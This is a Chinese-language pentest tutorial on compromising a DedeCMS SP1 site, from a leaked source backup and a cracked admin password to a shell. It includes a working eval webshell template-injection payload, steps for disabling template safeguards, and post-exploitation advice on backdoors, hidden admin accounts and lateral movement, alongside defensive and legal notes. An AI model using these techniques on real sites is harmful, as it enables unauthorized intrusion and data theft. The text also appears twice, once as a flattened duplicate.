记一次从源码泄露到getshell
字数 1425 2025-08-24 20:49:22

从源码泄露到Getshell渗透实战教学文档

一、前期信息收集

1. 源码泄露发现

  • 使用Hunter工具进行互联网站点源码扫描
  • 重点关注备份文件扫描结果(如.zip, .rar, .tar.gz等)
  • 发现并下载目标站点源码备份文件

2. CMS识别

  • 通过源码注释信息识别CMS类型(本例为DedeCMS)
  • 确认CMS版本信息(本例为DedeCMS SP1)

二、敏感信息提取

1. 全局搜索关键信息

  • 使用代码编辑器全局搜索(Ctrl+Shift+F)以下关键词:
    • key
    • pwd
    • passwd
    • password

2. 发现的关键信息

  1. 数据库信息泄露

    • 数据库连接配置文件(通常为data/common.inc.php)
    • 包含数据库主机、用户名、密码、数据库名
  2. 后台管理员密码泄露

    • 在源码中发现管理员密码的MD5哈希值
    • 使用在线MD5解密工具尝试破解(本例为弱口令"admin888")

三、后台入口定位

1. 后台地址发现

  • 通过源码分析找到后台管理路径
  • 注意CMS可能修改默认后台路径(本例改为888)

2. 后台登录

  • 使用获取的管理员账号(admin)和密码(admin888)登录后台

四、漏洞利用分析

1. 历史漏洞检查

  • 研究DedeCMS SP1已知漏洞
  • 重点关注远程代码包含漏洞(通常涉及install.php)
  • 检查目标站点是否删除关键漏洞文件(本例install.php已删除)

2. 功能点分析

  1. 系统设置检查

    • 路径:系统设置->系统基本参数->其他选项
    • 发现"模板引擎的禁用函数"设置项
  2. 源码深度分析

    • 发现被隐藏的模板相关功能文件
    • 确认文件存在但功能被前端隐藏

五、漏洞利用过程

1. 模板注入漏洞利用

  1. 访问模板文件

    • 直接访问被隐藏的模板功能文件(如tpl.php)
  2. 构造Payload

{dede:field name='source' runphp='yes'}@eval($_POST['lyy']);{/dede:field}
  • 关键参数:runphp='yes' 允许执行PHP代码
  • 使用[field:字段名/]方式调用
  1. 修改系统设置
    • 删除"模板引擎的禁用函数"中的所有限制
    • 保存系统设置变更

2. WebShell连接

  • 将恶意代码注入到index.htm模板文件
  • 访问首页触发代码执行:http://target.com/index.php
  • 使用中国菜刀等工具连接WebShell:
    • 密码:lyy(与POST参数对应)

六、后续渗透建议

  1. 数据库连接尝试

    • 使用源码中发现的数据库凭证尝试直接连接
    • 可能获取更多敏感数据或进行权限提升
  2. 权限维持

    • 上传持久化后门
    • 创建隐藏管理员账户
  3. 横向移动

    • 检查服务器内网环境
    • 尝试内网渗透

七、防御建议

  1. 源码保护

    • 删除开发注释和敏感信息
    • 使用.gitignore防止配置文件泄露
    • 定期检查并删除不必要的备份文件
  2. 密码安全

    • 避免使用弱口令
    • 管理员密码不使用MD5等弱哈希
    • 启用多因素认证
  3. 漏洞防护

    • 及时更新CMS补丁
    • 删除不必要的功能文件
    • 严格限制模板解析功能
  4. 系统加固

    • 禁用危险函数(如eval, system等)
    • 设置文件上传限制
    • 实施最小权限原则

八、渗透测试注意事项

  1. 法律合规

    • 获取授权后再进行测试
    • 所有修改操作后需复原
  2. 漏洞报告

    • 将发现漏洞提交至CNVD等平台
    • 提供详细修复建议
  3. 操作记录

    • 记录所有测试步骤
    • 保存证据截图

本教学文档完整呈现了从源码泄露到获取服务器权限的全过程,重点突出了信息收集、漏洞分析和利用的关键技术点,同时提供了防御建议和合规指导。

从源码泄露到Getshell渗透实战教学文档 一、前期信息收集 1. 源码泄露发现 使用Hunter工具进行互联网站点源码扫描 重点关注备份文件扫描结果(如.zip, .rar, .tar.gz等) 发现并下载目标站点源码备份文件 2. CMS识别 通过源码注释信息识别CMS类型(本例为DedeCMS) 确认CMS版本信息(本例为DedeCMS SP1) 二、敏感信息提取 1. 全局搜索关键信息 使用代码编辑器全局搜索(Ctrl+Shift+F)以下关键词: key pwd passwd password 2. 发现的关键信息 数据库信息泄露 : 数据库连接配置文件(通常为data/common.inc.php) 包含数据库主机、用户名、密码、数据库名 后台管理员密码泄露 : 在源码中发现管理员密码的MD5哈希值 使用在线MD5解密工具尝试破解(本例为弱口令"admin888") 三、后台入口定位 1. 后台地址发现 通过源码分析找到后台管理路径 注意CMS可能修改默认后台路径(本例改为888) 2. 后台登录 使用获取的管理员账号(admin)和密码(admin888)登录后台 四、漏洞利用分析 1. 历史漏洞检查 研究DedeCMS SP1已知漏洞 重点关注远程代码包含漏洞(通常涉及install.php) 检查目标站点是否删除关键漏洞文件(本例install.php已删除) 2. 功能点分析 系统设置检查 : 路径:系统设置->系统基本参数->其他选项 发现"模板引擎的禁用函数"设置项 源码深度分析 : 发现被隐藏的模板相关功能文件 确认文件存在但功能被前端隐藏 五、漏洞利用过程 1. 模板注入漏洞利用 访问模板文件 : 直接访问被隐藏的模板功能文件(如tpl.php) 构造Payload : 关键参数: runphp='yes' 允许执行PHP代码 使用 [field:字段名/] 方式调用 修改系统设置 : 删除"模板引擎的禁用函数"中的所有限制 保存系统设置变更 2. WebShell连接 将恶意代码注入到index.htm模板文件 访问首页触发代码执行: http://target.com/index.php 使用中国菜刀等工具连接WebShell: 密码:lyy(与POST参数对应) 六、后续渗透建议 数据库连接尝试 : 使用源码中发现的数据库凭证尝试直接连接 可能获取更多敏感数据或进行权限提升 权限维持 : 上传持久化后门 创建隐藏管理员账户 横向移动 : 检查服务器内网环境 尝试内网渗透 七、防御建议 源码保护 : 删除开发注释和敏感信息 使用.gitignore防止配置文件泄露 定期检查并删除不必要的备份文件 密码安全 : 避免使用弱口令 管理员密码不使用MD5等弱哈希 启用多因素认证 漏洞防护 : 及时更新CMS补丁 删除不必要的功能文件 严格限制模板解析功能 系统加固 : 禁用危险函数(如eval, system等) 设置文件上传限制 实施最小权限原则 八、渗透测试注意事项 法律合规 : 获取授权后再进行测试 所有修改操作后需复原 漏洞报告 : 将发现漏洞提交至CNVD等平台 提供详细修复建议 操作记录 : 记录所有测试步骤 保存证据截图 本教学文档完整呈现了从源码泄露到获取服务器权限的全过程,重点突出了信息收集、漏洞分析和利用的关键技术点,同时提供了防御建议和合规指导。